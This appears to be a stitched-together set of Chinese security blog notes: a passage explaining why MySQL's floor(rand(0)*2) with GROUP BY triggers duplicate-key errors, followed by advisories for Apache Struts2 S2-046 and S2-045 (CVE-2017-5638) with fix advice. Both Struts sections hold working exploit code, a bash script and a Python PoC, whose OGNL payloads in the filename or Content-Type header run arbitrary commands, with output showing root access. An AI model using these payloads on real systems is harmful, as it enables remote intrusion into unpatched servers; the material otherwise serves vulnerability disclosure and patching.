多次测试发现这个查询结果是固定的,即结果就是0 1 1 0 1 1 ….. 其实这个报错就是由于这个固定的数据导致的。


然后说一下count和group的虚拟表

mysql> select * from test;
+---------+
| name |
+---------+
| vincent |
| tom |
| gary |
| gary |
| gary |
| gary |
| tom |
| tom |
| gary |
+---------+
9 rows in set (0.00 sec)
mysql> select name,count(*) from test group by name ;
+---------+----------+
| name | count(*) |
+---------+----------+
| gary | 5 |
| tom | 3 |
| vincent | 1 |
+---------+----------+
3 rows in set (0.00 sec)

这里实际上会创建一张虚拟表,有key和value两个字段,其中key相当于这里的name,不可重复,相当于主键,而value是一个累加的值。
开始查询数据,取数据库数据,然后查看虚拟表存在不,不存在则插入新记录,存在则count(*)字段直接加1。
这里造成报错的一个最主要原因是在使用group by的时候,floor(rand(0)*2)会被执行一次,如果虚表不存在记录,插入虚表的时候会再被执行一次。在配合之前我们说到的0 1 1 0 1 1这个固定结果就导致了报错,具体过程如下:
1)查看前先创建了虚表。
2)取第一条记录,执行floor(rand(0)*2),发现结果为0(第一次计算),查询虚拟表,发现0的键值不存在,则floor(rand(0)*2)会被再计算一次,结果为1(第二次计算),插入虚表,这时第一条记录查询完毕,如下图:
key value
1     1
3)查询第二条记录,再次计算floor(rand(0)*2),发现结果为1(第三次计算),查询虚表,发现1的键值存在,所以floor(rand(0)*2)不会被计算第二次,直接count(*)加1,第二条记录查询完毕,结果如下:
key value
1     2
4)查询第三条记录,再次计算floor(rand(0)*2),发现结果为0(第4次计算),查询虚表,发现键值没有0,则数据库尝试插入一条新的数据,在插入数据时floor(rand(0)*2)被再次计算,作为虚表的主键,其值为1(第5次计算),然而1这个主键已经存在于虚拟表中,而新计算的值也为1(主键键值必须唯一),所以插入的时候就直接报错了。
5)整个查询过程floor(rand(0)*2)被计算了5次,查询原数据表3次,所以这就是为什么数据表中需要3条数据,使用该语句才会报错的原因。


参考文章:
https://xianzhi.aliyun.com/forum/read/767.html

触发条件:

1)上传文件的大小(由Content-Length头指定)大于Struts2允许的最大大小(2GB)。
2)header中的Content-Disposition中包含空字节。
3)文件名内容构造恶意的OGNL内容。


检测脚本:

#!/bin/bash
 
url=$1
cmd=$2
shift
shift
 
boundary="---------------------------735323031399963166993862150"
content_type="multipart/form-data; boundary=$boundary"
payload=$(echo "%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='"$cmd"').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}")
 
printf -- "--$boundary\r\nContent-Disposition: form-data; name=\"foo\"; filename=\"%s\0b\"\r\nContent-Type: text/plain\r\n\r\nx\r\n--$boundary--\r\n\r\n" "$payload" | curl "$url" -H "Content-Type: $content_type" -H "Expect: " -H "Connection: close" --data-binary @- $@

测试结果:

[root@server120 tmp]# ./1.sh http://192.168.192.144:32108/struts2-showcase/index.action whoami
root

修复建议:

1. 严格过滤 Content-Type 、filename里的内容,严禁ognl表达式相关字段。
2. 如果您使用基于Jakarta插件,请升级到Apache Struts 2.3.32或2.5.10.1版本。


参考文章:

http://bobao.360.cn/learning/detail/3571.html

今天上午爆出最新Struts2命令执行漏洞S2-045,在使用Jakarta插件处理文件上传操作时可能导致远程代码执行漏洞。


漏洞详情:

漏洞编号:S2-045
CVE编号:CVE-2017-5638
攻击者可修改HTTP请求头中的Content-Type值来触发该漏洞,进而执行任意系统命令。由于该漏洞利用无需任何前置条件(如开启dmi ,debug等功能)以及启用任何插件,因此漏洞危害较为严重。
解压struts2-core-*.jar文件,找到default.properties,其中struts.multipart.parser的值为jakarta解析器,是Struts 2框架的标准组成部分。
默认情况下jakarta是启用的,所以该漏洞的严重性需要得到正视。
官方链接:https://cwiki.apache.org/confluence/display/WW/S2-045


影响范围:

风险等级:高风险
漏洞风险:攻击者通过利用漏洞可以实现远程命令执行
影响版本:Struts 2.3.5-Struts 2.3.31、Struts 2.5-Struts 2.5.10
自查方式:用户可查看web目录下/WEB-INF/lib/目录下的struts-core.x.x.jar 文件,如果这个版本在Struts2.3.5到Struts2.3.31 以及 Struts2.5 到 Struts2.5.10之间则存在漏洞。


修复建议:

1)升级到安全版本:Struts 2.3.32、Struts 2.5.10.1
Struts 2.3.32下载地址:
https://cwiki.apache.org/confluence/display/WW/Version+Notes+2.3.32
Struts 2.5.10.1下载地址:
https ://cwiki.apache.org/confluence/display/WW/Version+Notes+2.5.10.1
替换struts2-core-*.jar
2)使用Servlet过滤器验证Content-Type过滤不匹配的请求multipart/form-data


漏洞验证:

pip install poster
POC:

#! /usr/bin/env python
# encoding:utf-8
import urllib2
import sys
from poster.encode import multipart_encode
from poster.streaminghttp import register_openers
def poc():
register_openers()
datagen, header = multipart_encode({"image1": open("tmp.txt", "rb")})
header["User-Agent"]="Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
header["Content-Type"]="%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='ifconfig').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
request = urllib2.Request(str(sys.argv[1]),datagen,headers=header)
response = urllib2.urlopen(request)
print response.read()
poc()

参考文章:

http://www.freebuf.com/vuls/128668.html
http://bobao.360.cn/learning/detail/3571.html
http://www.mottoin.com/97954.html